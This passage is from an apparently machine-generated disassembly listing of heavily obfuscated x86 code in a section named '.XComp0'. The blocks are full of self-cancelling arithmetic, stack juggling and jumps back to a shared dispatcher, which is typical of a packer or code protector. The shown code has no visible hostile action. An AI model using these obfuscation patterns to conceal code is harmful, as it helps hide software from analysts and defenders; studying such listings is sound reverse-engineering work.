4F1F934Eh push ecx mov ecx, 121F2CB9h shr ecx, 6 jmp loc_5939F8 ; --------------------------------------------------------------------------- loc_586084: ; CODE XREF: .XComp0:00584FCAj mov edi, esp jmp loc_598075 ; --------------------------------------------------------------------------- mov ax, [esp] sub esp, 4 mov [esp], ebx push esp pop ebx push eax mov eax, 74734FE7h not eax push ecx jmp loc_58B081 ; --------------------------------------------------------------------------- loc_5860A8: ; CODE XREF: .XComp0:00590B84j sub edx, 34B43959h add edx, eax add edx, 34B43959h pop eax push eax jmp loc_5940B4 ; --------------------------------------------------------------------------- loc_5860BD: ; CODE XREF: .XComp0:005880FDj sub ebx, 908BB161h add edx, ebx jmp loc_590721 ; --------------------------------------------------------------------------- loc_5860CA: ; CODE XREF: .XComp0:00590ED1j push edi push eax mov eax, 67A078CBh mov edi, 0A0BEA459h add edi, 435B5BF6h jmp loc_5985FC ; --------------------------------------------------------------------------- loc_5860E1: ; CODE XREF: .XComp0:0059426Aj push eax push ebx mov ebx, ecx jmp loc_5872DD ; --------------------------------------------------------------------------- loc_5860EA: ; CODE XREF: .XComp0:00583BADj sub edi, 88F129Bh jmp loc_592545 ; --------------------------------------------------------------------------- loc_5860F5: ; CODE XREF: .XComp0:0058B26Aj jmp loc_583A60 ; --------------------------------------------------------------------------- loc_5860FA: ; CODE XREF: .XComp0:00596D75j sub esi, 26DA6057h jmp loc_59899B ; --------------------------------------------------------------------------- loc_586105: ; CODE XREF: .XComp0:00590D70j add eax, 0E32EACE7h add ebx, 69A1AF6h sub ebx, eax sub ebx, 69A1AF6h jmp loc_591CDF ; --------------------------------------------------------------------------- lodsd jmp loc_58DBDC ; --------------------------------------------------------------------------- loc_586123: ; CODE XREF: .XComp0:005964B2j add esp, 4 add esi, 4 push 5C53h mov [esp], ecx push edx mov edx, 5FA574A3h jmp loc_58ECFA ; --------------------------------------------------------------------------- loc_586142: ; CODE XREF: .XComp0:00597E41j push 2DB9h mov [esp], edx jmp loc_5914FE ; --------------------------------------------------------------------------- loc_58614F: ; CODE XREF: .XComp0:005935D1j pop esp mov eax, [esp] add esp, 4 mov [edi+eax*4], ch pop ecx jmp loc_583A60 ; --------------------------------------------------------------------------- loc_58615F: ; CODE XREF: .XComp0:005945FBj xor [esp], ebp xor ebp, [esp] mov esp, [esp] mov eax, [esp] push esi mov esi, esp push edx push ecx mov ecx, 5BF2319Fh mov edx, ecx pop ecx add edx, 0FFFFFFFFh push ebp jmp loc_5951B0 ; --------------------------------------------------------------------------- loc_586181: ; CODE XREF: .XComp0:00583BBAj mov edi, esp push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp jmp loc_58EE5B ; --------------------------------------------------------------------------- loc_586198: ; CODE XREF: .XComp0:00597A4Ej pop eax push esi mov esi, edx mov edi, esi pop esi pop edx xor edx, edi mov edi, [esp] jmp loc_5915F1 ; --------------------------------------------------------------------------- loc_5861AA: ; CODE XREF: .XComp0:00588EDEj mov esi, [esp] jmp loc_598108 ; --------------------------------------------------------------------------- loc_5861B2: ; CODE XREF: .XComp0:00586449j mov edx, 2 sub eax, 361B2B88h sub eax, edx push 156h mov [esp], ebx mov ebx, 27D85ED2h jmp loc_5881C3 ; --------------------------------------------------------------------------- loc_5861D0: ; CODE XREF: .XComp0:0058CFD8j shl ecx, 8 jmp loc_58A577 ; --------------------------------------------------------------------------- loc_5861D8: ; CODE XREF: .XComp0:0059607Ej add al, 0B3h push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] jmp loc_59065D ; --------------------------------------------------------------------------- loc_5861F1: ; CODE XREF: .XComp0:00597B0Ej push ecx push esi mov esi, 14449CEh push edi mov edi, 76FE2186h and esi, edi pop edi jmp loc_5982F3 ; --------------------------------------------------------------------------- loc_586206: ; CODE XREF: .XComp0:0059412Ej add eax, 368D3BF5h add eax, ecx push edi mov edi, 150E6AEAh sub edi, 234A5682h jmp loc_59847B ; --------------------------------------------------------------------------- loc_58621E: ; CODE XREF: .XComp0:00585488j mov esi, esp add esi, 4 jmp loc_59755A ; --------------------------------------------------------------------------- lodsb jmp loc_594FD5 ; --------------------------------------------------------------------------- loc_586231: ; CODE XREF: .XComp0:0058D71Fj add eax, 686634F3h add eax, esi push ebp jmp loc_59136B ; --------------------------------------------------------------------------- loc_58623E: ; CODE XREF: .XComp0:005885B0j mov esi, esp push 3206h mov [esp], ebp jmp loc_5916DB ; --------------------------------------------------------------------------- loc_58624D: ; CODE XREF: .XComp0:00593D6Cj sub ch, 4Ch pop edx add al, ch push dword ptr [esp] pop ecx sub esp, 4 mov [esp], ebx mov ebx, esp add ebx, 4 jmp loc_5859FE ; --------------------------------------------------------------------------- loc_58626D: ; CODE XREF: .XComp0:00598CB0j pop esi shl ebp, 7 and ebp, 4485053Fh jmp loc_598083 ; --------------------------------------------------------------------------- loc_58627C: ; CODE XREF: .XComp0:0059120Bj sub al, 7Ah add al, 0DDh add al, bl sub al, 0DDh add al, 7Ah sub al, 7Ah mov ebx, [esp] add esp, 4 add al, bl sub esp, 2 mov [esp], bx mov bl, 4Bh sub al, bl pop bx push edx mov dl, 90h add dl, 0A7h not dl neg dl dec dl push ecx mov cl, dl not cl mov dl, cl pop ecx xor dl, 0A2h jmp loc_583C9B ; --------------------------------------------------------------------------- loc_5862BC: ; CODE XREF: .XComp0:0058BA9Cj inc esi inc esi push ebx mov ebx, 5655044Bh and esi, ebx pop ebx xor esi, 7553B40h jmp loc_588823 ; --------------------------------------------------------------------------- loc_5862D2: ; CODE XREF: .XComp0:0058F79Bj push eax mov eax, esp add eax, 4 push ebp mov ebp, 4 add eax, ebp mov ebp, [esp] jmp loc_587EFB ; --------------------------------------------------------------------------- loc_5862EA: ; CODE XREF: .XComp0:0058A33Cj sub dword ptr [esp], 4A5A0BA5h jmp loc_588406 ; --------------------------------------------------------------------------- loc_5862F6: ; CODE XREF: .XComp0:005859B5j sub esi, 3CC346EFh mov eax, [esp] add esp, 4 jmp loc_58B353 ; --------------------------------------------------------------------------- loc_586307: ; CODE XREF: .XComp0:00595C7Ej neg ecx jmp loc_589C34 ; --------------------------------------------------------------------------- loc_58630E: ; CODE XREF: .XComp0:0058ABD3j mov edx, [esp] add esp, 4 push ecx mov ecx, 4 push 185h mov [esp], ebp mov ebp, 39AF790Eh jmp loc_585EAC ; --------------------------------------------------------------------------- loc_58632F: ; CODE XREF: .XComp0:0058A2C1j add esi, 4 xchg esi, [esp] mov esp, [esp] add eax, 4 add eax, 4 jmp loc_596A42 ; --------------------------------------------------------------------------- loc_58634A: ; CODE XREF: .XComp0:005894B3j mov edx, [esp] add esp, 4 xchg eax, [esp] mov esp, [esp] test cl, al pushf jmp loc_583A60 ; --------------------------------------------------------------------------- mov ax, [esp] jmp loc_5976AF ; --------------------------------------------------------------------------- loc_58636A: ; CODE XREF: .XComp0:00586950j mov [esp], ebx mov ebx, 2 jmp loc_58B0DD ; --------------------------------------------------------------------------- loc_586377: ; CODE XREF: .XComp0:0058E201j push ebp mov ebp, esp add ebp, 4 push eax mov eax, 4 sub ebp, eax pop eax xchg ebp, [esp] pop esp mov [esp], ebp mov ebp, 621059B2h push eax mov eax, 3C397CB1h xor ebp, eax pop eax add ebp, 6FEF2F2Eh sub esp, 4 mov [esp], edx push 2FED3E8Ah pop edx add edx, 5481B6CAh jmp loc_58EB76 ; --------------------------------------------------------------------------- loc_5863BE: ; CODE XREF: .XComp0:0058948Aj push ebp mov ebp, 3516154Dh jmp loc_58FC7F ; --------------------------------------------------------------------------- loc_5863C9: ; CODE XREF: .XComp0:005917F9j sub edx, 1EB002FBh pop ebx add esi, edx pop edx sub esp, 4 mov [esp], ecx push edi push esi mov esi, 11BC0650h xor esi, 39100E5Eh sub esi, 46276445h jmp loc_598D78 ; --------------------------------------------------------------------------- loc_5863F4: ; CODE XREF: .XComp0:0059211Aj push ecx mov ecx, esp add ecx, 4 sub ecx, 4 xchg ecx, [esp] pop esp jmp loc_597748 ; --------------------------------------------------------------------------- loc_58640C: ; CODE XREF: .XComp0:00594DF7j pop esp push edx mov edx, 67F139CFh jmp loc_58CD28 ; --------------------------------------------------------------------------- loc_586418: ; CODE XREF: .XComp0:0059576Aj add ecx, 25F94F0Fh and ecx, 28D62F3Fh neg ecx not ecx add ecx, 0DD9B97DBh jmp loc_595FB4 ; --------------------------------------------------------------------------- loc_586433: ; CODE XREF: .XComp0:005979F4j mov [esp], ecx push ebp jmp loc_5968E1 ; --------------------------------------------------------------------------- loc_58643C: ; CODE XREF: .XComp0:005932D0j xor ecx, [esp] xor [esp], ecx xor ecx, [esp] pop esp mov [esp], edx jmp loc_5861B2 ; --------------------------------------------------------------------------- loc_58644E: ; CODE XREF: .XComp0:0059788Cj push esi mov esi, 4 add edx, 10380C3Eh add edx, esi sub edx, 10380C3Eh pop esi sub edx, 4 xchg edx, [esp] pop esp jmp loc_58EF5B ; --------------------------------------------------------------------------- loc_586472: ; CODE XREF: .XComp0:00592FCAj add ecx, edi jmp loc_5902FB ; --------------------------------------------------------------------------- loc_586479: ; CODE XREF: .XComp0:005914B0j add edi, 10D62D05h neg edi add edi, 0FFFFFFFFh add edi, 8745A0E7h add eax, 17356BCAh jmp loc_583BBF ; --------------------------------------------------------------------------- loc_586494: ; CODE XREF: .XComp0:0058DDF4j mov [esp], esp push eax mov eax, 4 add [esp+4], eax pop eax pop ecx push 5BD9h mov [esp], eax mov eax, 4 sub ecx, 627647C8h add ecx, eax push eax mov eax, 37EC35DBh xor eax, 559A7213h add ecx, eax pop eax pop eax jmp loc_58D167 ; --------------------------------------------------------------------------- loc_5864CC: ; CODE XREF: .XComp0:0058A261j mov eax, 4 jmp loc_59865A ; --------------------------------------------------------------------------- loc_5864D6: ; CODE XREF: .XComp0:00585365j sub esp, 4 mov [esp], edx push ecx jmp loc_5958B6 ; --------------------------------------------------------------------------- loc_5864E5: ; CODE XREF: .XComp0:0058CFF7j push ebx xchg eax, [esp] jmp loc_58D845 ; --------------------------------------------------------------------------- loc_5864EE: ; CODE XREF: .XComp0:005988F6j pop esp mov [esp], ebx push edi mov edi, 48424392h shl edi, 8 not edi sub edi, 1 xor edi, 0BDBC6DFCh mov ebx, edi jmp loc_5974D8 ; --------------------------------------------------------------------------- loc_586510: ; CODE XREF: .XComp0:00595380j mov ebx, 637B3FABh mov eax, 0EA67D65h xor eax, ebx pop ebx or eax, 1D1B1F33h xor eax, 5EBA294Eh dec eax push eax push ebx pop eax pop ebx jmp loc_5845FA ; --------------------------------------------------------------------------- loc_586531: ; CODE XREF: .XComp0:0058E87Cj add ebp, 4 jmp loc_5870A6 ; --------------------------------------------------------------------------- loc_586539: ; CODE XREF: .XComp0:00597299j mov ebx, [esp] add esp, 4 jmp loc_58D507 ; --------------------------------------------------------------------------- push dword ptr [esp] jmp loc_590527 ; --------------------------------------------------------------------------- loc_58654F: ; CODE XREF: .XComp0:0058413Aj mov esi, 54473C38h xor [esp+4], esi pop esi pop edi xor edi, 54473C38h pop ecx xor edi, ebp xor ebp, edi jmp loc_596333 ; --------------------------------------------------------------------------- loc_58656A: ; CODE XREF: .XComp0:0059834Dj push ebp mov ebp, 478E4A63h mov ebx, ebp pop ebp xor ebx, 0D467881h push edx mov edx, 2C50424h dec edx add edx, 731E5663h shl edx, 3 jmp loc_58E08B ; --------------------------------------------------------------------------- loc_58658E: ; CODE XREF: .XComp0:00598BAEj not dword ptr [esp] mov edi, [esp] add esp, 4 jmp loc_58BF95 ; --------------------------------------------------------------------------- loc_58659C: ; CODE XREF: .XComp0:00592C24j add al, cl pop ecx sub al, 2Dh add al, bl add al, 2Dh sub al, 74h add al, 6Fh sub al, 90h push 6C15h jmp loc_598467 ; --------------------------------------------------------------------------- loc_5865B5: ; CODE XREF: .XComp0:0058F6E2j add ebx, esi jmp loc_59135F ; --------------------------------------------------------------------------- loc_5865BC: ; CODE XREF: .XComp0:0058BDD6j sub eax, 51208DD4h add ebp, eax pop eax push esi mov esi, ebp mov ebx, esi jmp loc_58A324 ; --------------------------------------------------------------------------- loc_5865CE: ; CODE XREF: .XComp0:0058B287j xchg eax, [esp] pop esp push dword ptr [esp] pop eax add esp, 4 sub esp, 4 mov [esp], edi jmp loc_58DD12 ; --------------------------------------------------------------------------- loc_5865E7: ; CODE XREF: .XComp0:00587CBEj pop esi add edx, 2023C3FEh jmp loc_5963A7 ; --------------------------------------------------------------------------- loc_5865F3: ; CODE XREF: .XComp0:005878F6j push eax jmp loc_58BA95 ; --------------------------------------------------------------------------- loc_5865F9: ; CODE XREF: .XComp0:00585D05j pop esp add esp, 4 dec dword ptr [esp] pushf jmp loc_583A60 ; --------------------------------------------------------------------------- push 312Bh mov [esp], ebp mov ebp, esp add ebp, 4 jmp loc_58411E ; --------------------------------------------------------------------------- loc_58661B: ; CODE XREF: .XComp0:00585FB3j add [edx], ebp jmp loc_58D18E ; --------------------------------------------------------------------------- loc_586622: ; CODE XREF: .XComp0:0058E7A4j pop esp and eax, ecx push dword ptr [esp] pop ecx jmp loc_5899AE ; --------------------------------------------------------------------------- loc_58662E: ; CODE XREF: .XComp0:005877CDj mov edi, [esp] add esp, 4 mov ebp, [esp] add esp, 4 add eax, 76FB5994h jmp loc_59578C ; --------------------------------------------------------------------------- loc_586644: ; CODE XREF: .XComp0:0058821Fj mov ebx, 51854FA2h xor edx, ebx pop ebx push edx xchg ebp, [esp] not ebp xchg ebp, [esp] pop edx dec edx push 2BC4h jmp loc_5846DF ; --------------------------------------------------------------------------- loc_586661: ; CODE XREF: .XComp0:00595E88j pop ebp add esp, 4 jmp loc_58B0CF ; --------------------------------------------------------------------------- loc_58666A: ; CODE XREF: .XComp0:00594038j mov eax, ebp pop ebp push ebp mov ebp, 27AE5421h and eax, ebp jmp loc_589CD4 ; --------------------------------------------------------------------------- loc_58667A: ; CODE XREF: .XComp0:00595EC0j push dword ptr [esp] pop eax add esp, 4 push esi push eax push ebx jmp loc_58C62E ; --------------------------------------------------------------------------- loc_58668C: ; CODE XREF: .XComp0:00585148j pop eax mov ecx, esi pop esi sub eax, ecx mov ecx, [esp] push edx jmp loc_59539F ; --------------------------------------------------------------------------- loc_58669B: ; CODE XREF: .XComp0:0058F0B4j add edi, 4 add edi, 4 xor edi, [esp] xor [esp], edi xor edi, [esp] pop esp push ecx mov ecx, 4 add ebp, ecx pop ecx xchg ebp, [esp] pop esp shl dword ptr [esp], cl jmp loc_583A60 ; --------------------------------------------------------------------------- loc_5866C6: ; CODE XREF: .XComp0:0058D658j sub dl, bl jmp loc_589328 ; --------------------------------------------------------------------------- loc_5866CD: ; CODE XREF: .XComp0:0058A523j mov edx, 2371DA3h xor ebp, edx pop edx push ebp pop edx jmp loc_58E05B ; --------------------------------------------------------------------------- loc_5866DC: ; CODE XREF: .XComp0:005962ABj inc eax shl eax, 1 jmp loc_58C695 ; --------------------------------------------------------------------------- loc_5866E4: ; CODE XREF: .XComp0:00597DE5j jmp loc_583A60 ; --------------------------------------------------------------------------- loc_5866E9: ; CODE XREF: .XComp0:0058A589j push ecx mov ecx, 67B22FC2h mov ebp, ecx pop ecx sub edi, ebp pop ebp add edi, ecx add edi, 67B22FC2h jmp loc_59002D ; --------------------------------------------------------------------------- loc_586702: ; CODE XREF: .XComp0:00594D9Fj mov [esp], edi jmp loc_597B7D ; --------------------------------------------------------------------------- loc_58670A: ; CODE XREF: .XComp0:0058EEBFj shl edx, 5 jmp loc_590452 ; --------------------------------------------------------------------------- loc_586712: ; CODE XREF: .XComp0:005975EBj neg ecx push esi mov esi, 3AD751DCh xor esi, 68117E28h sub ecx, esi mov esi, [esp] add esp, 4 not ecx shr ecx, 1 add ecx, 903BA974h jmp loc_587B2A ; --------------------------------------------------------------------------- loc_586737: ; CODE XREF: .XComp0:0058FAFBj mov edi, 79E75895h sub ebp, 73EC5BC1h add ebp, 5546208Bh sub ebp, 18264A0Eh sub ebp, 60090E7Eh jmp loc_59732C ; --------------------------------------------------------------------------- loc_586759: ; CODE XREF: .XComp0:005881BEj mov ecx, 4ED0564Bh mov ebx, ecx pop ecx inc ebx shr ebx, 6 inc ebx add ebx, 4CCB6EC8h jmp loc_5902BD ; --------------------------------------------------------------------------- loc_586771: ; CODE XREF: .XComp0:0058C725j sub esp, 4 mov [esp], ecx mov ecx, 2A314848h add esi, ecx pop ecx add ebx, 1D25416h sub ebx, 36C03BCFh add ebx, esi add ebx, 36C03BCFh sub ebx, 1D25416h pop esi add ebx, 4 jmp loc_593D71 ; --------------------------------------------------------------------------- loc_5867A5: ; CODE XREF: .XComp0:005967EFj dec ch jmp loc_59701E ; --------------------------------------------------------------------------- loc_5867AC: ; CODE XREF: .XComp0:005907B9j sub bl, cl mov ecx, [esp] jmp loc_58EBBB ; --------------------------------------------------------------------------- loc_5867B6: ; CODE XREF: .XComp0:005930E8j mov ecx, 8F5529Bh and ecx, 2CD228ABh jmp loc_58EE0E ; --------------------------------------------------------------------------- loc_5867C6: ; CODE XREF: .XComp0:00588FC7j pop esi pop ebp jmp loc_5881D7 ; --------------------------------------------------------------------------- loc_5867CD: ; CODE XREF: .XComp0:0058A6DDj pop ebp sub esp, 4 mov [esp], esi jmp loc_5897A5 ; --------------------------------------------------------------------------- loc_5867DC: ; CODE XREF: .XComp0:0058D1F0j add ecx, 4 sub ecx, 4 jmp loc_595B95 ; --------------------------------------------------------------------------- loc_5867EA: ; CODE XREF: .XComp0:0058B82Aj sub esi, 34C7344Eh neg esi shr esi, 8 neg esi and esi, 55E36630h xor esi, 1EF70DAFh xor ebx, esi pop esi sub edx, 15D671Ah add edx, ebx add edx, 15D671Ah mov ebx, [esp] sub esp, 4 mov [esp], eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp] pop esp and edx, 64F15838h jmp loc_593FFF ; --------------------------------------------------------------------------- loc_58683B: ; CODE XREF: .XComp0:005989C9j xor [esp], ebp jmp loc_59773F ; --------------------------------------------------------------------------- loc_586843: ; CODE XREF: .XComp0:005880A4j push eax jmp loc_595C2E ; --------------------------------------------------------------------------- loc_586849: ; CODE XREF: .XComp0:00586A8Dj mov edi, esp add edi, 4 push esi mov esi, 4 add edi, 42C24CC7h add edi, esi sub edi, 42C24CC7h jmp loc_588EAC ; --------------------------------------------------------------------------- loc_58686A: ; CODE XREF: .XComp0:00583F79j mov ebx, [esp] push edx jmp loc_58B46C ; --------------------------------------------------------------------------- loc_586873: ; CODE XREF: .XComp0:00591167j pop esp sub esp, 4 mov [esp], ecx push 7C21h mov [esp], eax mov eax, 42F90307h mov ecx, eax pop eax or ecx, 508D648Bh push edx mov edx, 2D4615BAh jmp loc_589428 ; --------------------------------------------------------------------------- loc_58689E: ; CODE XREF: .XComp0:005934FBj mov [esp], ebx mov ebx, 3CF17475h or ebx, 66BC6427h not ebx push eax mov eax, 43DB3D87h or ebx, eax pop eax push esi jmp loc_590B23 ; --------------------------------------------------------------------------- loc_5868BD: ; CODE XREF: .XComp0:00592A63j sub esp, 4 jmp loc_597584 ; --------------------------------------------------------------------------- loc_5868C8: ; CODE XREF: .XComp0:005880C3j pop ebx push ebx mov bl, 0E7h add bl, 0CAh inc bl add bl, 65h add bl, 0E4h sub dh, bl pop ebx jmp loc_596FF7 ; --------------------------------------------------------------------------- loc_5868DF: ; CODE XREF: .XComp0:00584E6Bj xor edx, 336D57EAh push dword ptr [esp] pop ebp push 7198h mov [esp], eax mov eax, esp sub esp, 4 mov [esp], edi mov edi, esp add edi, 4 push esi mov esi, 4 sub edi, esi jmp loc_58995D ; --------------------------------------------------------------------------- loc_586911: ; CODE XREF: .XComp0:0058E398j push dword ptr [esp+4] push dword ptr [esp] pop ebp jmp loc_58C284 ; --------------------------------------------------------------------------- loc_58691E: ; CODE XREF: .XComp0:00584B67j sub esp, 4 mov [esp], esi sub esp, 4 jmp loc_5957C5 ; --------------------------------------------------------------------------- loc_58692F: ; CODE XREF: .XComp0:0058F28Aj pop edx sub esp, 4 mov [esp], ebx mov ebx, 24h sub ebx, 60865ABDh add ebx, edi add ebx, 60865ABDh push edx jmp loc_598D99 ; --------------------------------------------------------------------------- loc_58694F: ; CODE XREF: .XComp0:0058D822j pop esp jmp loc_58636A ; --------------------------------------------------------------------------- loc_586955: ; CODE XREF: .XComp0:00587B25j mov esp, [esp] shr eax, 0Ah jmp loc_594E69 ; --------------------------------------------------------------------------- loc_586960: ; CODE XREF: .XComp0:00598218j pop ebp sub esi, 3CC846BFh sub esi, ecx add esi, 3CC846BFh sub esi, 17944A88h pop ecx jmp loc_586A92 ; --------------------------------------------------------------------------- loc_58697B: ; CODE XREF: .XComp0:0059339Aj sub ebx, eax sub ebx, 47956E4Bh push 30Ch mov [esp], edx mov edx, 1C2E5BAEh sub ebx, edx mov edx, [esp] push edi push esp pop edi jmp loc_58B0EB ; --------------------------------------------------------------------------- loc_58699D: ; CODE XREF: .XComp0:00594223j sub edi, 2 xor edi, [esp] xor [esp], edi jmp loc_593DE0 ; --------------------------------------------------------------------------- loc_5869AE: ; CODE XREF: .XComp0:005911C2j push ebp mov ebp, 13380879h jmp loc_58483F ; --------------------------------------------------------------------------- loc_5869B9: ; CODE XREF: .XComp0:00596480j push 6C5Ah mov [esp], eax push esp mov eax, [esp] add esp, 4 add eax, 4 jmp loc_597525 ; --------------------------------------------------------------------------- loc_5869D2: ; CODE XREF: .XComp0:0058E7F9j push eax jmp loc_596574 ; --------------------------------------------------------------------------- loc_5869D8: ; CODE XREF: .XComp0:0059534Aj xor edx, 6C474291h or eax, edx mov edx, [esp] add esp, 4 jmp loc_589AFB ; --------------------------------------------------------------------------- loc_5869EB: ; CODE XREF: .XComp0:00587929j sub ebx, esi jmp loc_58CA27 ; --------------------------------------------------------------------------- loc_5869F2: ; CODE XREF: .XComp0:005927E5j push esi mov esi, 93B5464h sub ebx, esi pop esi push esi jmp loc_5894FD ; --------------------------------------------------------------------------- loc_586A01: ; CODE XREF: .XComp0:00588663j push edx mov edx, 4F5F2C9Ch push ebx mov ebx, 2B2E538Dh not ebx neg ebx push esi jmp loc_58B825 ; --------------------------------------------------------------------------- loc_586A17: ; CODE XREF: .XComp0:0058C1EFj dec ecx add ecx, 825114ADh jmp loc_588BEF ; --------------------------------------------------------------------------- loc_586A23: ; CODE XREF: .XComp0:005921B8j xor ecx, 4C1C73CBh add ecx, 0B500E41Eh mov edx, ecx jmp loc_593928 ; --------------------------------------------------------------------------- loc_586A36: ; CODE XREF: .XComp0:00590FFEj push 75E0h jmp loc_5964DA ; --------------------------------------------------------------------------- loc_586A40: ; CODE XREF: .XComp0:00597824j pop dword ptr [esp] add dword ptr [esp], 4 pop ecx jmp loc_58F8D2 ; --------------------------------------------------------------------------- loc_586A4D: ; CODE XREF: .XComp0:0058D375j sub eax, 48471DAAh add eax, 11B76D67h jmp loc_58F28F ; --------------------------------------------------------------------------- loc_586A5C: ; CODE XREF: .XComp0:00593B68j add esi, 0E7CBD366h add eax, esi pop esi push esi push eax jmp loc_59078B ; --------------------------------------------------------------------------- loc_586A6C: ; CODE XREF: .XComp0:00591BAFj add ecx, 4 sub ecx, 4 xchg ecx, [esp] jmp loc_585230 ; --------------------------------------------------------------------------- loc_586A7D: ; CODE XREF: .XComp0:0058A863j xor edi, [esp] mov esp, [esp] xor ebx, eax push dword ptr [eax] jmp loc_583A60 ; --------------------------------------------------------------------------- loc_586A8C: ; CODE XREF: .XComp0:0058479Aj push edi jmp loc_586849 ; --------------------------------------------------------------------------- loc_586A92: ; CODE XREF: .XComp0:00586976j mov edi, esi pop esi sub edi, 0B794E840h sub ecx, edi pop edi push edi jmp loc_58BFE5 ; --------------------------------------------------------------------------- loc_586AA4: ; CODE XREF: .XComp0:00585AABj add ebx, ecx sub ebx, 53371A5Ah add ebx, 126A26B4h push ecx push esi mov esi, 0 mov ecx, esi mov esi, [esp] add esp, 4 add ecx, ebx mov [ecx], dl jmp loc_59134D ; --------------------------------------------------------------------------- loc_586ACA: ; CODE XREF: .XComp0:00598481j and edi, 1E514EB3h jmp loc_595B79 ; --------------------------------------------------------------------------- loc_586AD5: ; CODE XREF: .XComp0:005841C4j push dword ptr [esp] jmp loc_58F986 ; --------------------------------------------------------------------------- loc_586ADD: ; CODE XREF: .XComp0:00591649j mov eax, esp jmp loc_5933A4 ; --------------------------------------------------------------------------- loc_586AE4: ; CODE XREF: .XComp0:00596293j add cl, 0D6h jmp loc_58C7C9 ; --------------------------------------------------------------------------- loc_586AEC: ; CODE XREF: .XComp0:0059180Dj shr edx, 5 push 1E45h mov [esp], esi jmp loc_596BCA ; --------------------------------------------------------------------------- loc_586AFC: ; CODE XREF: .XComp0:0058F0DBj mov ebx, [esp] jmp loc_58F3B4 ; --------------------------------------------------------------------------- loc_586B04: ; CODE XREF: .XComp0:0058F2BAj mov eax, [esp] add esp, 4 push 5BF85CA1h pop ebp sub esp, 4 mov [esp], ebx mov ebx, 130271D5h jmp loc_58FAC6 ; --------------------------------------------------------------------------- loc_586B23: ; CODE XREF: .XComp0:005959EBj inc esi and esi, 7CD87345h push eax mov eax, 59D2D9Ah neg eax not eax sub eax, 48093BACh inc eax add eax, 0E1B9AD5h jmp loc_597F21 ; --------------------------------------------------------------------------- loc_586B44: ; CODE XREF: .XComp0:00585BD2j pop edx shr edx, 8 shl edx, 4 push ebx mov ebx, 884927F1h xor edx, ebx pop ebx jmp loc_5932D5 ; --------------------------------------------------------------------------- loc_586B59: ; CODE XREF: .XComp0:00587820j add ebp, ecx pop ecx jmp loc_5877B5 ; --------------------------------------------------------------------------- loc_586B61: ; CODE XREF: .XComp0:00591278j xor ebx, [esp] xor [esp], ebx xor ebx, [esp] pop esp sub esp, 4 mov [esp], edi push esp pop edi jmp loc_589F2F ; --------------------------------------------------------------------------- loc_586B7B: ; CODE XREF: .XComp0:005901E6j push esp mov eax, [esp] jmp loc_58A2B8 ; --------------------------------------------------------------------------- loc_586B84: ; CODE XREF: .XComp0:005925A5j mov esi, 43F38933h jmp loc_596DE3 ; --------------------------------------------------------------------------- loc_586B8E: ; CODE XREF: .XComp0:00596E49j pop ebx jmp loc_58EC08 ; --------------------------------------------------------------------------- loc_586B94: ; CODE XREF: .XComp0:00587FC2j push ecx jmp loc_595E17 ; --------------------------------------------------------------------------- loc_586B9A: ; CODE XREF: .XComp0:00583A61j push edx mov dl, 0ACh push ebx mov bl, 56h shl bl, 4 jmp loc_5871F9 ; --------------------------------------------------------------------------- loc_586BA8: ; CODE XREF: .XComp0:00592F80j mov ebx, [esp] sub esp, 4 mov [esp], edx mov edx, esp push eax mov eax, 4EFE4735h sub eax, 4EFE4731h jmp loc_58A54E ; --------------------------------------------------------------------------- loc_586BC3: ; CODE XREF: .XComp0:0058ACA4j pop esi push edi jmp loc_5851A7 ; --------------------------------------------------------------------------- loc_586BCA: ; CODE XREF: .XComp0:00596ED3j push ebx sub dword ptr [esp], 4A117946h pop esi add esi, 4A117946h pop ebx jmp loc_5887F2 ; --------------------------------------------------------------------------- loc_586BDF: ; CODE XREF: .XComp0:00597512j mov eax, 44005535h add ecx, eax pop eax add edi, ecx jmp loc_5945ED ; --------------------------------------------------------------------------- loc_586BEE: ; CODE XREF: .XComp0:0059281Aj push eax jmp loc_591D9B ; --------------------------------------------------------------------------- loc_586BF4: ; CODE XREF: .XComp0:00596AE0j sub eax, 44EA3A95h jmp loc_5940EF ; --------------------------------------------------------------------------- loc_586BFE: ; CODE XREF: .XComp0:0058D06Cj pop eax push esi mov esi, esp add esi, 4 push eax mov eax, 4 add esi, eax pop eax jmp loc_595284 ; --------------------------------------------------------------------------- loc_586C16: ; CODE XREF: .XComp0:00598D73j movzx cx, ah push eax push esp pop eax push ebx mov ebx, 230B1949h shr ebx, 3 jmp loc_584F24 ; --------------------------------------------------------------------------- loc_586C2B: ; CODE XREF: .XComp0:00596C6Aj pop dword ptr [esp] pop esp jmp loc_5971D6 ; --------------------------------------------------------------------------- loc_586C34: ; CODE XREF: .XComp0:0058B7EBj inc ebp or ebp, 3FDD3A6Ch neg ebp dec ebp sub ebp, 247E3C83h add ebp, 0FE40CCACh add eax, ebp pop ebp jmp loc_58D362 ; --------------------------------------------------------------------------- loc_586C52: ; CODE XREF: .XComp0:0058C5A7j mov eax, [esp] push edx jmp loc_58D908 ; --------------------------------------------------------------------------- loc_586C5B: ; CODE XREF: .XComp0:0058D79Cj push 4 mov ebx, [esp] add esp, 4 and ecx, ebx push dword ptr [esp] pop ebx push 20E6h mov [esp], edx sub esp, 4 mov [esp], esp jmp loc_585461 ; --------------------------------------------------------------------------- loc_586C7F: ; CODE XREF: .XComp0:0059407Cj add ecx, 11FDE148h add eax, ecx jmp loc_5949E2 ; --------------------------------------------------------------------------- loc_586C8C: ; CODE XREF: .XComp0:0059646Aj add esi, edx pop edx sub esp, 4 jmp loc_58B61C ; --------------------------------------------------------------------------- loc_586C97: ; CODE XREF: .XComp0:0058FA29j push ecx mov ecx, 6AEA06C4h push edx mov edx, 3E0C46B1h or edx, 7256505Ch not edx xor edx, 0F319AD7Bh jmp loc_584F84 ; --------------------------------------------------------------------------- loc_586CB6: ; CODE XREF: .XComp0:00593093j xor esi, 1BA0EEDh xor esi, 15F8216Fh inc esi xor esi, 24011669h add ebx, esi pop esi sub ebx, 65E23E25h add eax, ebx jmp loc_58B3C5 ; --------------------------------------------------------------------------- loc_586CD9: ; CODE XREF: .XComp0:005985A6j push eax mov eax, 617D4E6Bh sub esp, 4 mov [esp], ebp mov ebp, 52E86284h inc ebp push ebp not dword ptr [esp] pop ebp push ebp dec dword ptr [esp] jmp loc_590C1D ; --------------------------------------------------------------------------- loc_586CF9: ; CODE XREF: .XComp0:00583C96j pop ecx xchg ebx, edx sub ebx, 0FFFFFFFFh xchg ebx, edx push ebp mov ebp, 1EEE0ED9h add edx, ebp 